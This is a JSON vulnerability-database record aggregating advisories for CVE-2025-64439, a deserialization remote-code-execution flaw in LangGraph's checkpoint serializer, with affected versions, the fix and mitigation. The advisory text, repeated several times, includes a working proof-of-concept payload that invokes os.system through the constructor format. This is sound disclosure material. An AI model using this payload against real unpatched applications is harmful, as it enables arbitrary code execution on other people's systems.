{"id":"CVE-2025-64439","aliases":["CLSA-2026-1779670109","EUVD-2025-37934","GHSA-wwqv-p2pp-99h5","PYSEC-2026-1527","ROOT-APP-PYPI-CVE-2025-64439"],"status":"published","title":"LangGraph Checkpoint affected by RCE in \"json\" mode of JsonPlusSerializer","description":"LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In versions 2.1.2 and below, the JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a Remote Code Execution (RCE) vulnerability when deserializing payloads saved in the \"json\" serialization mode. By default, the serializer attempts to use \"msgpack\" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the \"json\" mode. This issue is fixed in version 3.0.0.","severity":{"version":"4.0","score":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00887,"percentile":0.59555,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502"],"published":"2025-11-05T19:52:50Z","modified":"2026-10-28T02:30:50Z","fixes":[{"ecosystem":"PyPI","package":"langgraph-checkpoint","fixed_in":["3.0.0"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:PyPI","package":"langgraph-checkpoint","fixed_in":["2.1.2.post1+tuxcare"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"rootio-langgraph-checkpoint","fixed_in":["2.1.0+root.io.1","2.1.0+root.io.2"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"langgraph-checkpoint","fixed_in":["2.1.0+aikido.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"langgraph-checkpoint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.0"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"langgraph-checkpoint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.2"},{"fixed":"2.1.2.post1+tuxcare"}]}],"versions":["2.1.2"]},{"source":"osv","ecosystem":"PyPI","package":"langgraph-checkpoint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.0"}]}],"versions":["1.0.0","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.1","2.1.2"]},{"source":"osv","ecosystem":"PyPI","package":"langgraph-checkpoint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.0"}]}],"versions":["1.0.0","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.1","2.1.2"]},{"source":"osv","ecosystem":"Root:PyPI","package":"rootio-langgraph-checkpoint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.0+root.io.1"},{"fixed":"2.1.0+root.io.2"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"langgraph-checkpoint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.0+aikido.2"}]}]}],"products":[{"vendor":"langchain-ai","product":"langgraph"}],"references":[{"url":"https://github.com/langchain-ai/langgraph/security/advisories/GHSA-wwqv-p2pp-99h5","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/langchain-ai/langgraph/commit/c5744f583b11745cd406f3059903e17bbcdcc8ac","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64439","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-wwqv-p2pp-99h5","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/64xxx/CVE-2025-64439.json","tags":["advisory"]},{"url":"https://github.com/langchain-ai/langgraph","tags":["package"]},{"url":"https://pypi.org/project/langgraph-checkpoint","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-64439","title":"LangGraph Checkpoint affected by RCE in \"json\" mode of JsonPlusSerializer","description":"LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In versions 2.1.2 and below, the JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a Remote Code Execution (RCE) vulnerability when deserializing payloads saved in the \"json\" serialization mode. By default, the serializer attempts to use \"msgpack\" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the \"json\" mode. This issue is fixed in version 3.0.0.","status":"published","published":"2025-11-07T20:15:21.71Z","modified":"2025-11-07T20:21:52.61Z","cvss":[{"version":"4.0","score":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:32:46.750177Z"}],"euvd":[{"id":"EUVD-2025-37934","description":"LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In versions 2.1.2 and below, the JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a Remote Code Execution (RCE) vulnerability when deserializing payloads saved in the \"json\" serialization mode. By default, the serializer attempts to use \"msgpack\" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the \"json\" mode. This issue is fixed in version 3.0.0.","status":"published","published":"2025-11-07T20:15:21Z","modified":"2025-11-07T20:21:52Z","cvss":[{"version":"4.0","score":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high"}],"updated_at":"2026-11-02T19:49:19.321345Z"}],"ghsa":[{"id":"GHSA-wwqv-p2pp-99h5","title":"LangGraph Checkpoint affected by RCE in \"json\" mode of JsonPlusSerializer ","description":"# Summary\n\nPrior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `\"json\"` serialization mode.\n\nIf an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.\n\nUpgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode.\n\nIf you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. \n\n# Details\n\n**Affected file / component**\n\n[jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py)\n\nBy default, the serializer attempts to use `\"msgpack\"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail,  it would fall back to using the `\"json\"` mode.\n\nWhen operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == \"constructor\"`) for custom objects to allow them to be reconstructed at load time.  If an attacker is able to trigger this mode with a malicious payload, deserializing  allow the attacker to execute arbitrary functions upon load.\n\n---\n\n# Who is affected\n\nThis issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who:\n\n1. Allow untrusted or user-supplied data to be persisted into checkpoints, and\n2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `\"json\"` mode.\n\nIf your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.\n\n# Proof of Concept (PoC)\n\n```python\nfrom langgraph.graph import StateGraph \nfrom typing import TypedDict\nfrom langgraph.checkpoint.sqlite import SqliteSaver\n\nclass State(TypedDict):\n    foo: str\n    attack: dict\n\ndef my_node(state: State):\n    return {\"foo\": \"oops i fetched a surrogate \\ud800\"}\n\nwith SqliteSaver.from_conn_string(\"foo.db\") as saver:\n    graph = (\n\t    StateGraph(State).\n\t    add_node(\"my_node\", my_node).\n\t    add_edge(\"__start__\", \"my_node\").\n\t    compile(checkpointer=saver)\n\t )\n    \n\n    attack = {\n        \"lc\": 2,\n        \"type\": \"constructor\",\n        \"id\": [\"os\", \"system\"],\n        \"kwargs\": {\"command\": \"echo pwnd you \u003e /tmp/pwnd.txt\"},\n    }\n    malicious_payload = {\n         \"attack\": attack,\n    }\n\n    thread_id = \"00000000-0000-0000-0000-000000000001\"\n    config = {\"thread_id\": thread_id}\n    # Malicious payload is saved in the first call\n    graph.invoke(malicious_payload, config=config)\n\n    # Malicious payload is deserialized and code is executed in the second call\n    graph.invoke({\"foo\": \"hi there\"}, config=config)\n\n```\n\nRunning this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution.\n\nInternally, this exploits the following code path:\n\n```python\nfrom langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer\n\nserializer = JsonPlusSerializer() # Used within the checkpointer\n\nserialized = serializer.dumps_typed(malicious_payload)\nserializer.loads_typed(serialized)  # Executes os.system(...)\n\n```\n\n---\n\n# Fixed Version\n\nThe vulnerability is fixed in **`langgraph-checkpoint==3.0.0`**\n\nRelease link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0\n\n---\n\n# Fix Description\n\nThe fix introduces an **allow-list** for constructor deserialization, restricting permissible `\"id\"` paths to explicitly approved module/class combinations provided at serializer construction.\n\nAdditionally, saving payloads in `\"json\"` format has been deprecated to remove this unsafe fallback path.\n\n---\n\n# Mitigation\n\nUpgrade immediately to `langgraph-checkpoint==3.0.0`.\n\nThis version is fully compatible with `langgraph\u003e=0.3` and does **not** require any import changes or code modifications.\n\nIn `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.","status":"published","published":"2025-11-05T19:52:50Z","modified":"2025-11-07T21:55:59Z","cvss":[{"version":"4.0","score":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:39:07.985215Z"}],"nvd":[{"id":"CVE-2025-64439","description":"LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In versions 2.1.2 and below, the JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a Remote Code Execution (RCE) vulnerability when deserializing payloads saved in the \"json\" serialization mode. By default, the serializer attempts to use \"msgpack\" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the \"json\" mode. This issue is fixed in version 3.0.0.","status":"published","published":"2025-11-07T21:15:41.69Z","modified":"2026-06-17T09:54:23.28Z","cvss":[{"version":"4.0","score":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:11:42.870953Z"}],"osv":[{"id":"CVE-2025-64439","title":"LangGraph Checkpoint affected by RCE in \"json\" mode of JsonPlusSerializer","description":"LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In versions 2.1.2 and below, the JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a Remote Code Execution (RCE) vulnerability when deserializing payloads saved in the \"json\" serialization mode. By default, the serializer attempts to use \"msgpack\" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the \"json\" mode. This issue is fixed in version 3.0.0.","status":"published","published":"2025-11-07T20:15:21.71Z","modified":"2026-10-28T02:30:50.819916549Z","cvss":[{"version":"4.0","score":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:44:51.851511Z"},{"id":"GHSA-wwqv-p2pp-99h5","title":"LangGraph Checkpoint affected by RCE in \"json\" mode of JsonPlusSerializer ","description":"# Summary\n\nPrior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `\"json\"` serialization mode.\n\nIf an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.\n\nUpgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode.\n\nIf you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. \n\n# Details\n\n**Affected file / component**\n\n[jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py)\n\nBy default, the serializer attempts to use `\"msgpack\"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail,  it would fall back to using the `\"json\"` mode.\n\nWhen operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == \"constructor\"`) for custom objects to allow them to be reconstructed at load time.  If an attacker is able to trigger this mode with a malicious payload, deserializing  allow the attacker to execute arbitrary functions upon load.\n\n---\n\n# Who is affected\n\nThis issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who:\n\n1. Allow untrusted or user-supplied data to be persisted into checkpoints, and\n2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `\"json\"` mode.\n\nIf your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.\n\n# Proof of Concept (PoC)\n\n```python\nfrom langgraph.graph import StateGraph \nfrom typing import TypedDict\nfrom langgraph.checkpoint.sqlite import SqliteSaver\n\nclass State(TypedDict):\n    foo: str\n    attack: dict\n\ndef my_node(state: State):\n    return {\"foo\": \"oops i fetched a surrogate \\ud800\"}\n\nwith SqliteSaver.from_conn_string(\"foo.db\") as saver:\n    graph = (\n\t    StateGraph(State).\n\t    add_node(\"my_node\", my_node).\n\t    add_edge(\"__start__\", \"my_node\").\n\t    compile(checkpointer=saver)\n\t )\n    \n\n    attack = {\n        \"lc\": 2,\n        \"type\": \"constructor\",\n        \"id\": [\"os\", \"system\"],\n        \"kwargs\": {\"command\": \"echo pwnd you \u003e /tmp/pwnd.txt\"},\n    }\n    malicious_payload = {\n         \"attack\": attack,\n    }\n\n    thread_id = \"00000000-0000-0000-0000-000000000001\"\n    config = {\"thread_id\": thread_id}\n    # Malicious payload is saved in the first call\n    graph.invoke(malicious_payload, config=config)\n\n    # Malicious payload is deserialized and code is executed in the second call\n    graph.invoke({\"foo\": \"hi there\"}, config=config)\n\n```\n\nRunning this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution.\n\nInternally, this exploits the following code path:\n\n```python\nfrom langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer\n\nserializer = JsonPlusSerializer() # Used within the checkpointer\n\nserialized = serializer.dumps_typed(malicious_payload)\nserializer.loads_typed(serialized)  # Executes os.system(...)\n\n```\n\n---\n\n# Fixed Version\n\nThe vulnerability is fixed in **`langgraph-checkpoint==3.0.0`**\n\nRelease link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0\n\n---\n\n# Fix Description\n\nThe fix introduces an **allow-list** for constructor deserialization, restricting permissible `\"id\"` paths to explicitly approved module/class combinations provided at serializer construction.\n\nAdditionally, saving payloads in `\"json\"` format has been deprecated to remove this unsafe fallback path.\n\n---\n\n# Mitigation\n\nUpgrade immediately to `langgraph-checkpoint==3.0.0`.\n\nThis version is fully compatible with `langgraph\u003e=0.3` and does **not** require any import changes or code modifications.\n\nIn `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.","status":"published","published":"2025-11-05T19:52:50Z","modified":"2026-07-07T17:56:18.50480177Z","cvss":[{"version":"4.0","score":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:59.131095Z"},{"id":"PYSEC-2026-1527","title":"LangGraph Checkpoint affected by RCE in \"json\" mode of JsonPlusSerializer ","description":"# Summary\n\nPrior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `\"json\"` serialization mode.\n\nIf an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.\n\nUpgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode.\n\nIf you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. \n\n# Details\n\n**Affected file / component**\n\n[jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py)\n\nBy default, the serializer attempts to use `\"msgpack\"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail,  it would fall back to using the `\"json\"` mode.\n\nWhen operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == \"constructor\"`) for custom objects to allow them to be reconstructed at load time.  If an attacker is able to trigger this mode with a malicious payload, deserializing  allow the attacker to execute arbitrary functions upon load.\n\n---\n\n# Who is affected\n\nThis issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who:\n\n1. Allow untrusted or user-supplied data to be persisted into checkpoints, and\n2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `\"json\"` mode.\n\nIf your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.\n\n# Proof of Concept (PoC)\n\n```python\nfrom langgraph.graph import StateGraph \nfrom typing import TypedDict\nfrom langgraph.checkpoint.sqlite import SqliteSaver\n\nclass State(TypedDict):\n    foo: str\n    attack: dict\n\ndef my_node(state: State):\n    return {\"foo\": \"oops i fetched a surrogate \\ud800\"}\n\nwith SqliteSaver.from_conn_string(\"foo.db\") as saver:\n    graph = (\n\t    StateGraph(State).\n\t    add_node(\"my_node\", my_node).\n\t    add_edge(\"__start__\", \"my_node\").\n\t    compile(checkpointer=saver)\n\t )\n    \n\n    attack = {\n        \"lc\": 2,\n        \"type\": \"constructor\",\n        \"id\": [\"os\", \"system\"],\n        \"kwargs\": {\"command\": \"echo pwnd you \u003e /tmp/pwnd.txt\"},\n    }\n    malicious_payload = {\n         \"attack\": attack,\n    }\n\n    thread_id = \"00000000-0000-0000-0000-000000000001\"\n    config = {\"thread_id\": thread_id}\n    # Malicious payload is saved in the first call\n    graph.invoke(malicious_payload, config=config)\n\n    # Malicious payload is deserialized and code is executed in the second call\n    graph.invoke({\"foo\": \"hi there\"}, config=config)\n\n```\n\nRunning this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution.\n\nInternally, this exploits the following code path:\n\n```python\nfrom langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer\n\nserializer = JsonPlusSerializer() # Used within the checkpointer\n\nserialized = serializer.dumps_typed(malicious_payload)\nserializer.loads_typed(serialized)  # Executes os.system(...)\n\n```\n\n---\n\n# Fixed Version\n\nThe vulnerability is fixed in **`langgraph-checkpoint==3.0.0`**\n\nRelease link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0\n\n---\n\n# Fix Description\n\nThe fix introduces an **allow-list** for constructor deserialization, restricting permissible `\"id\"` paths to explicitly approved module/class combinations provided at serializer construction.\n\nAdditionally, saving payloads in `\"json\"` format has been deprecated to remove this unsafe fallback path.\n\n---\n\n# Mitigation\n\nUpgrade immediately to `langgraph-checkpoint==3.0.0`.\n\nThis version is fully compatible with `langgraph\u003e=0.3` and does **not** require any import changes or code modifications.\n\nIn `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.","status":"published","published":"2026-07-07T16:03:09.680073Z","modified":"2026-07-07T17:46:36.75335557Z","cvss":[{"version":"4.0","score":7.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.06457Z"},{"id":"CLSA-2026-1779670109","title":"TuxCare security update for langgraph-checkpoint (1 CVE)","description":"TuxCare rebuilt langgraph-checkpoint to address 1 CVE. Fixed in 2.1.2.post1+tuxcare.","status":"published","published":"2026-08-04T14:52:33Z","modified":"2026-10-15T09:48:00.948364915Z","updated_at":"2026-11-02T15:43:45.090939Z"},{"id":"ROOT-APP-PYPI-CVE-2025-64439","title":"CVE-2025-64439 in rootio-langgraph-checkpoint - Patched by Root","description":"Root has patched CVE-2025-64439 in the rootio-langgraph-checkpoint package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-06-03T14:51:35Z","modified":"2026-06-03T19:30:13.935145875Z","updated_at":"2026-11-02T15:53:27.940619Z"}]}}